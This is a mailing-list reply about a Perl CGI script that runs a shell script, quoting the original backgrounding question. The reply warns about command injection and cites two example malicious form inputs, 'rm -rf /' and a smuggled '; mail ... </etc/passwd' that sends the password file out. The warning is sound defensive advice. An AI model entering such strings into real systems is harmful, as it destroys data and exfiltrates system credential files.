This is an aside, but does the statement you are executing come as a parameter from the HTML form? If so, I presume you are aware that this is a very dangerous practice, unless you have secured the form page somehow (behind your firewall, etc.), and even then I wouldn't be comfortable with it. What if someone entered "rm -rf /" or "; mail [EMAIL PROTECTED] </etc/passwd"? (These examples come from the Security chapter of O'Reilly's excellent book "CGI Programming with Perl".)
- John --- Alex Read <[EMAIL PROTECTED]> wrote: > Hi all, > > I have an html page that when I press the submit > button the cgi script > runs a shell script. I am having trouble because the > html page hangs > until the shell script has finished, i.e. the shell > script process is > not running in the background. I have tried the > following; > > system "$my_shell_script &"; > `$my_shell_script &`; > exec "$my_shell_script "; > exec "$my_shell_script &"; > > none of which work! The basis of my script is > Formmail from Matt's > script archive > (http://www.worldwidemart.com/scripts/) if anyone > knows > it. > Any suggestions? > Thanks > > Alex. __________________________________________________ Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax http://taxes.yahoo.com/ -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
